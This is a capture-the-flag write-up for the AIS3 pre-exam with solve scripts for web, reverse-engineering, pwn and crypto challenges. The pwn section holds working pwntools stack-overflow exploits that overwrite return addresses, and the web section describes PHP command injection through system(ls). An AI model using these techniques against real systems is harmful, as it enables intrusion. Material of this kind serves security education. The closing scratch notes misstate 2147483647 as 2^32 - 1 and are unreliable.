# AIS3 writeup
clo5de
---
# Web
----
## warmup
Check header found `Paritial-Flag`,
Wrote a simple python crawler keeping get this praitial-flag until get last char `}`
----
```python=
import urllib.request
url = 'http://104.199.235.135:31331/index.php?p='
i = 0
while True:
response = urllib.request.urlopen('%s%d' % (url, i))
letter = response.getheader('Partial-Flag')
letter = ' ' if letter == '' else letter
print(letter, end='')
if letter == '}':
break
i += 1
```
----
## hidden
Find a hidden page `_hidden_flag_.php` other url from `robots.txt`.
Test with a form POST, found `Flag` shows `AIS3{NOT_A_VALID_FLAG}`
Wrote a simple python crawler keep sending POST to form with increase value until get right flag.
----
```python
import requests, re
url = 'http://104.199.235.135:31332/_hidden_flag_.php'
values = [
(0,'0',''),
(1,'3241b876891b9ea67db897e940db6ea9e7e351447546b8da82bbf3693dfe9ebb','')
]
print(values[1][0], values[1][1])
for each in range(1, 100000):
r = requests.post(url, {'c': values[each][0], 's': values[each][1] })
c = int(re.compile(r'\"c\" value=\"[0-9]*\"').search(r.text)
c = c.group(0)[11:-1])
s = str(re.compile(r'\"s\" value=\".*\"').search(r.text).group(0)[11:-1])
header = r.headers['Flag']
values.append(tuple((c, s, header)))
print(c, s, header)
if header != 'AIS3{NOT_A_VALID_FLAG}':
break
```
----
## sushi
A php check input value can not contain `'` and `"` at 0 or above position.
and `die` function can not be avoid.
Input with `". [php statement] ."` to get value to send from `die` to browser.
Use `system(ls)` to get folder content.
Get a file name is `flag_name_1s_t00_l0ng_QAQQQQQQ`
and concat with url. get it.
---
# Reverse
----
## find
`cat find` gets a ELF and dummy data merged together.
`strings find >> [file name]`
Wrote a simpy filter to filte `AIS3{`
----
```python=
string = []
with open('find.strings', 'r') as f:
line = f.readline()
while(line != ''):
if line.startswith('AIS3{'):
string.append(line)
line = f.readline()
print(string)
```
----
## secret
Use `IDA-Pro` to crack program and export to `c pseudo code`.
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@10
__int64 v4; // rsi@10
int v5; // [sp+4h] [bp-1Ch]@7
int i; // [sp+8h] [bp-18h]@3
int v7; // [sp+Ch] [bp-14h]@7
FILE *stream; // [sp+10h] [bp-10h]@1
__int64 v9; // [sp+18h] [bp-8h]@1
v9 = *MK_FP(__FS__, 40LL);
stream = fopen("/tmp/secret", "w");
init();
puts("========== WELCOME TO MY MIND ==========");
puts("Try to find out secret in my mind!!!");
while ( cnt != 85 )
{
__isoc99_scanf("%d", &v5); // 輸入
v7 = rand() % 2018; // 目標數字取2018餘數
if ( v7 != v5 ) // 輸入不等於餘數
{
puts("Get out!!! You don't know me.");
goto LABEL_10;
}
secret[cnt] ^= v5;
puts("Nice try! Next one.");
++cnt;
}
for ( i = 0; i <= 84; ++i )
fputc((unsigned __int8)secret[i], stream);
puts("You know the flag~~~");
LABEL_10:
result = 0;
v4 = *MK_FP(__FS__, 40LL) ^ v9;
return result;
}
```
----
There is a `rand()` without `srand()`, so...
Just rand many times and record it, and `mod(%)` with `2018`.
```python=
from pwn import *
rands = [
1804289383,846930886,1681692777,1714636915,1957747793,
424238335,719885386,1649760492,596516649,1189641421,
1025202362,1350490027,783368690,1102520059,2044897763,
1967513926,1365180540,1540383426,304089172,1303455736,
35005211,521595368,294702567,1726956429,336465782,
861021530,278722862,233665123,2145174067,468703135,
1101513929,1801979802,1315634022,635723058,1369133069,
1125898167,1059961393,2089018456,628175011,1656478042,
1131176229,1653377373,859484421,1914544919,608413784,
756898537,1734575198,1973594324,149798315,2038664370,
1129566413,184803526,412776091,1424268980,1911759956,
749241873,137806862,42999170,982906996,135497281,
511702305,2084420925,1937477084,1827336327,572660336,
1159126505,805750846,1632621729,1100661313,1433925857,
1141616124,84353895,939819582,2001100545,1998898814,
1548233367,610515434,1585990364,1374344043,760313750,
1477171087,356426808,945117276,1889947178,1780695788
]
p = process('./secret')
for each in rands:
#if each == 0x6b7b4567:
p.sendline(str(each % 2018))
p.interactive()
```
----
Last thing is, go to `/tmp/secret` find my flag, just like `L12` and `L30` told me.
----
## crackme
`exe` filename extension, reverse with `OllyDbg` is so ugly.
googled a writeup [](https://www.duckll.tw/2017/12/106.html)
```sh
> file ais3.exe
> ais3.exe: PE32 executable (GUI) ..Too long, PDF would cut out..
... Intel 80386 Mono/.Net assembly, for MS Windows
```
Change to use `dnSpy` to crack it.
----
```csharp=22 MainWindow
this.secret = new int {
234,226,248,152,208,154,223,244,226,158,
244,238,234,216,210,244,223,228,244,232,
249,159,200,192,244,230,206,138,214
};
```
```csharp=104
for (int j = 0; j <= num4; j++)
{
if(
Operators.ConditionalCompareObjectNotEqual(
NewLateBinding.LateIndexGet(
this.secret,
new object[] { j },
null
),
Convert.ToInt32(text[j]) ^ 171,
false
)
) {
flag = false;
}
}
if (
Conversions.ToBoolean(
Operators.AndObject(
flag,
Operators.CompareObjectEqual(
text.Length,
NewLateBinding.LateGet(
this.secret,
null,
"Length",
new object[0],
null,
null,
null),
false
)
)
)
){
Interaction.MsgBox("Good job!!!", MsgBoxStyle.OkOnly, null);
return;
}
Interaction.MsgBox("Try hard!!!", MsgBoxStyle.OkOnly, null);
```
----
Just crack with xor 171.
```python=
secret = [
234,226,248,152,208,154,223,244,226,158,
244,238,234,216,210,244,223,228,244,232,
249,159,200,192,244,230,206,138,214
]
for each in secret:
print(chr(each ^ 171), end='')
```
---
# pwn
----
## mail
`disass` shows nothing.
`objdump -d ./mail | less` found a function called `reply`.
Use `gdb` check it.
----
```sh=
gdb-peda$ disass reply
Dump of assembler code for function reply:
0x0000000000400796 <+0>: push rbp
0x0000000000400797 <+1>: mov rbp,rsp
0x000000000040079a <+4>: sub rsp,0x10
0x000000000040079e <+8>: mov edi,0x400928
0x00000000004007a3 <+13>: call 0x400610 <puts@plt>
0x00000000004007a8 <+18>: mov edi,0x40095b
0x00000000004007ad <+23>: mov eax,0x0
0x00000000004007b2 <+28>: call 0x400630 <printf@plt>
0x00000000004007b7 <+33>: mov esi,0x400970
0x00000000004007bc <+38>: mov edi,0x400972
0x00000000004007c1 <+43>: call 0x400680 <fopen@plt>
0x00000000004007c6 <+48>: mov QWORD PTR [rbp-0x8],rax
...
End of assembler dump.
gdb-peda$
```
`fopen` so make a return address of `main` change to reply.
----
Enter `main` function and check it has two variable to cover `RET` of `main`.
Make a break point at first variable input.
```sh=
gdb-peda$ disass
Dump of assembler code for function main:
...
0x0000000000400853 <+81>: call 0x400630 <printf@plt>
0x0000000000400858 <+86>: lea rax,[rbp-0x20]
0x000000000040085c <+90>: mov rdi,rax
0x000000000040085f <+93>: mov eax,0x0
0x0000000000400864 <+98>: call 0x400650 <gets@plt>
...
gdb-preda$ b *0x0000000000400864
Breakpoint 2 at 0x400864
gdb-peda$ info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000400806 <main+4>
breakpoint already hit 1 time
2 breakpoint keep y 0x0000000000400864 <main+98>
gdb-peda$
```
----
Execute program and get `main` function's `RBP` and `RSP` address which is ..
```sh
RBP: 0x7fffffffdcd0 --> 0x4008a0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffd990 --> 0x7ffff7a1dff8 --> 0x6c5f755f72647800 ('')
```
----
Hit `continue` to enter some dummy data in order to locat variable's address in `stack`. (I put a bouch of `'A'`.)
Locate `0x....dbd0` in stack.
```sh=
gdb-preda$ stack 120
...
0792| 0x7fffffffdca8 --> 0x0
0800| 0x7fffffffdcb0 ('A' <repeats 32 times>)
0808| 0x7fffffffdcb8 ('A' <repeats 24 times>)
0816| 0x7fffffffdcc0 ('A' <repeats 16 times>)
0824| 0x7fffffffdcc8 ("AAAAAAAA")
0832| 0x7fffffffdcd0 --> 0x400800 (<reply+106>: leave)
0840| 0x7fffffffdcd8 --> 0x7ffff7a2d830
(<__libc_start_main+240>: mov edi,eax)
0848| 0x7fffffffdce0 --> 0x0
...
```
----
So the variable is at `0x....dcb0`, calculate offset with `RBP(0x....dcd0)` is 32 Bytes.
And the `RTN` is front of `RBP` which is `$rbp - 0x8`, so we need to cover `32 + 8` bytes from first variable.
Find the function `reply` its address is...
```sh=
gdb-peda$ disass reply
Dump of assembler code for function reply:
0x0000000000400796 <+0>: push rbp
...
```
----
That every thing. cover dummy data with 40 bytes and input `reply` function's address `0x....400796`
Wrote a small python...
```python=
from pwn import *
p = process('./mail')
#p = remote('104.199.235.135', 2111)
p.sendline('A' * (32 + 8) + '\x96\x07\x40\x00\x00\x00\x00\x00')
print(p.recv())
p.interactive()
```
----
## darling
Use array index to jump to variable `permission_code` and change to `6666`.
and cover function `read()` it's return address to function `debug()`.
```sh=
gdb-peda$ disass debug
Dump of assembler code for function debug:
0x00000000004007d6 <+0>: push rbp
0x00000000004007d7 <+1>: mov rbp,rsp
0x00000000004007da <+4>: mov edi,0x400d88
0x00000000004007df <+9>: call 0x400660 <system@plt>
0x00000000004007e4 <+14>: nop
0x00000000004007e5 <+15>: pop rbp
0x00000000004007e6 <+16>: ret
End of assembler dump.
gdb-peda$
```
----
Use `gdb` make a break point at ` 0x0000000000400c8f <+1192>: call 0x400680 <read@plt>`
`skip` nto read function and check it's return address to found stack address.
----
```sh=
gdb-peda$ stack 30
0000| 0x7fffffffdb68 --> 0x400c94
(<main+1197>: mov eax,DWORD PTR [rbp-0x14c])
0008| 0x7fffffffdb70 --> 0x0
0016| 0x7fffffffdb78 --> 0x800000001
0024| 0x7fffffffdb80 --> 0x500000000
0032| 0x7fffffffdb88 --> 0x1a0a
0040| 0x7fffffffdb90 --> 0x2
0048| 0x7fffffffdb98 --> 0x10
0056| 0x7fffffffdba0 --> 0x10
0064| 0x7fffffffdba8 --> 0x2
0072| 0x7fffffffdbb0 --> 0xf
0080| 0x7fffffffdbb8 --> 0x38 ('8')
0088| 0x7fffffffdbc0 --> 0x186
0096| 0x7fffffffdbc8 --> 0x29a
0104| 0x7fffffffdbd0 --> 0x22c
0112| 0x7fffffffdbd8 --> 0xd6
0120| 0x7fffffffdbe0 ("Strelitzia")
0128| 0x7fffffffdbe8 --> 0x6169 ('ia')
0136| 0x7fffffffdbf0 ("Delphinium")
0144| 0x7fffffffdbf8 --> 0x6d75 ('um')
0152| 0x7fffffffdc00 ("Argentea")
0160| 0x7fffffffdc08 --> 0x0
0168| 0x7fffffffdc10 --> 0x617473696e6547 ('Genista')
0176| 0x7fffffffdc18 --> 0x0
0184| 0x7fffffffdc20 ("Chlorophytum")
0192| 0x7fffffffdc28 --> 0x6d757479 ('ytum')
--More--(25/30)
```
----
I select first element which is `Strelitzia` which stack address is `0x....dbe0` to offset to return address whichs `0x....db8`, and the offset range is 120 byte.
The char array store `Strelitzia` is a 16 bytes long element. so each index I decrease would cause memory address move backward 16 byte.
At least I have to backward 16 * 8(128 byte) to cover return address.
But need more 8 dummy character to fit into extra backward.
----
```python=
from pwn import *
#p = process('./darling')
p = remote('104.199.235.135', 2112)
p.sendlineafter('Index: ', '-1')
p.sendlineafter('Code: ', '6666')
p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0')
p.sendlineafter('Index: ', '0')
p.sendlineafter('Code: ', '2')
p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0')
p.sendlineafter('Index: ', '1')
p.sendlineafter('Code: ', '16')
p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '1')
p.sendlineafter('Which FRANXX do you wnat to use ? ', '-8')
p.sendlineafter(
'New name for this FRANXX: ',
'A' * 8 + p64(0x00000000004007D6)
)
p.interactive()
```
---
# misc
----
## welcome
Platform video??????????
----
## flags
Read hint. Just a damn Morse code...
---
# crypto
----
## pow
```python=
from pwn import *
import hashlib
from os import urandom
p = remote('104.199.235.135',20000)
print(p.recvuntil("== '"))
prefix = p.recvuntil("'", drop=True)
sha_start = '000000'
print(prefix, sha_start)
while True:
x = urandom(8).encode('hex')
if hashlib.sha256(prefix + x).hexdigest().startswith('000000'):
print('found' + prefix + x)
p.sendlineafter('x = ', prefix + x)
print(p.recvline())
break
```
Just rand...
----
## XOR
Use `AIS{` to calculate first four keys.
Use `}` to confirm key length is 10 bytes.
```python=
import binascii
with open('flag-encrypted', 'rb') as encFile:
encData = encFile.read()
byteData = binascii.hexlify(encData)
hexData = [byteData[i:i + 2] for i in range(0, len(byteData), 2)]
#print(len(hexData))
#print(hex(int(hexData[0], 16) ^ ord('A')))
#print(hex(int(hexData[1], 16) ^ ord('I')))
#print(hex(int(hexData[2], 16) ^ ord('S')))
#print(hex(int(hexData[3], 16) ^ ord('{')))
#print(hex(int(hexData[150], 16) ^ ord('}')))
#print(chr(0x16 ^ int(hexData[150], 16)))
#print(hex(int(hexData[151], 16) ^ 0x16))
#print(hex(int(hexData[152], 16) ^ 0x09))
#print(hex(int(hexData[153], 16) ^ 0x7C))
#print(hex(int(hexData[154], 16) ^ 0xC7))
#print(hex(int(hexData[155], 16) ^ 0xDD))
#print(hex(int(hexData[156], 16) ^ 0x4F))
#print(hex(int(hexData[157], 16) ^ 0x2E))
#print(hex(int(hexData[158], 16) ^ 0x92))
#print(hex(int(hexData[159], 16) ^ 0xA7))
#print(hex(int(hexData[160], 16) ^ 0xFF))
key = [0x16, 0x09, 0x7C, 0xC7, 0xDD, 0x4F, 0x2E, 0x92, 0xA7, 0xFF]
i = 0
for each in range(0, 152):
print(chr(int(hexData[each], 16) ^ key[i]), end='')
i = i + 1 if i != 9 else 0
```
----
YES, JUST CALCULATE WITH HAND IS COOOOOL!!!!
---
End
2^3 2^2 2^1 2^0
10 = 1 0 1 0
8 4 2 1
8 0 2 0
8+0+2+0 = 10
2147483647 = 2^32 - 1
Hexidecimal
A 10
B 11
C 12
D
E
F 15
1.6e10 科學記號
1.6 * 10^10
{"metaMigratedAt":"2023-06-14T16:45:34.703Z","metaMigratedFrom":"YAML","title":"AIR3 writeup","breaks":true,"description":"clo5de","contributors":"[{\"id\":\"9d700268-032e-4717-8357-792ae261c28e\",\"add\":311,\"del\":28}]"}